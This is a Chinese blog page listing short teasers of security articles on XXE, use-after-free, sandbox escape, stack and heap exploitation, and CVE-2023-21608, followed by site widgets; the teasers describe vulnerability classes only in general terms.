XML外部实体注入(XXE)是一种经典的Web安全漏洞,攻击者通过构造恶意XML文档,利用未正确配置的解析器读取敏感文件或发起网络请求。其原理在于XML解析器在处理外部实体时,未对数据源进行严格限制,导致安全边界被突破。在浏览器安全领域,XXE的技术价值尤为突出,因为它可能成为攻击链的起点,特别是在复杂的多进程架构中。现代浏览器如Chrome采用沙盒机制隔离渲染进程,但进程间通信框架(如Mojo)若存在缺陷,可能被利用实现权限提升。本文以CVE-2023-4357为例,深入探讨如何通过XXE漏洞触发libx

weixin_34161083的博客 303

二进制漏洞挖掘实战:从逆向分析到0Day漏洞利用的技术解析

二进制漏洞挖掘是信息安全领域的核心技术之一,涉及对软件底层机制的深入理解。其原理是通过逆向工程分析程序的二进制代码,识别内存管理、输入验证等环节的安全缺陷。这项技术的价值在于发现未知的0Day漏洞,这些漏洞可能被用于高级持续性威胁攻击,对关键基础设施用户数据构成严重风险。在应用场景上,二进制漏洞挖掘广泛应用于软件安全审计、恶意代码分析、物联网设备安全评估等领域。本文聚焦于逆向挖掘0Day漏洞的实战心法,详细拆解了从攻击面枚举到漏洞验证的完整流程,并深入探讨了栈缓冲区溢出、堆Use-After-Free等经

weixin_34214500的博客 863

从RISC-V模拟器UAF漏洞到Seccomp沙箱逃逸的完整攻击链分析

在系统安全领域,内存管理漏洞与沙箱逃逸是两大核心攻防场景。Use-After-Free(UAF)作为典型的内存破坏漏洞,其原理在于程序释放内存后未清空指针,导致后续操作可访问已释放区域,常被利用于劫持控制流。Seccomp作为Linux内核的沙箱机制,通过BPF过滤器限制进程系统调用,但规则设计缺陷可能引发逃逸风险。在CTF实战与真实漏洞利用中,攻击者常需串联多个漏洞形成攻击链。本文以一道融合RISC-V模拟器UAF与Seccomp绕过的综合赛题为例,详解如何通过堆风水布局实现代码执行,并利用沙箱规则参数检

djai0102的博客 530

逆向工程实战:从二进制分析到0Day漏洞挖掘的完整路径

在软件安全领域,逆向工程是通过分析二进制代码理解程序内部逻辑的核心技术。其基本原理是将编译后的机器码转换为可读的汇编或高级语言表示,从而揭示程序的实际行为。这项技术的核心价值在于能够发现开发者未预料的安全缺陷,特别是那些用非内存安全语言编写的复杂软件组件。在实际应用场景中,逆向工程常与模糊测试技术结合,用于自动化挖掘缓冲区溢出、释放后重用等内存破坏漏洞。通过静态分析工具识别危险函数调用模式,再结合覆盖引导的Fuzzing进行动态验证,研究人员能够系统性地发现0Day漏洞。本文以实战为导向,详细解析了从目标筛

weixin_33700350的博客 470

PWN技术实战:从栈溢出到堆利用的漏洞攻防解析

缓冲区溢出是软件安全领域的经典漏洞类型,其核心原理是程序对内存边界检查不严,导致数据写入越界,从而可能覆盖关键控制数据。理解内存布局、函数调用栈堆管理机制是分析此类漏洞的基础。这项技术的价值在于揭示软件底层运行逻辑的脆弱性,推动安全编码实践系统防护机制的演进。在CTF竞赛、渗透测试漏洞研究中,掌握漏洞利用技术能帮助安全人员验证系统安全性,构建更有效的防御体系。本文聚焦PWN实战,深入解析栈缓冲区溢出、堆漏洞利用中的Use-After-Free等关键技术,并探讨如何绕过NX、ASLR等现代防护机制。

weixin_30681615的博客 402

CVE-2023-21608漏洞利用框架剖析:从UAF原理到PDF阅读器攻防实战

释放后使用(UAF)是C/C++等手动管理内存语言中的一类高危漏洞,其核心原理在于程序错误地使用了已被释放的内存指针,导致数据混乱或程序流程被劫持。这类漏洞的技术价值在于,攻击者可通过堆内存塑形类型混淆技术,将不可控的内存读写转变为可控的代码执行,从而绕过数据执行保护(DEP)等现代系统安全机制。在PDF阅读器等复杂客户端软件的应用场景中,UAF漏洞常出现在处理JavaScript或特定格式对象等动态内容时。本文以CVE-2023-21608这一具体的Adobe Acrobat Reader UAF漏洞为

weixin_30595035的博客 464
上一篇: 也来看看Android的ART运行时
下一篇: 安卓APP动态调试技术
Omni-Space
博客等级 码龄11年 2157粉丝 23原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值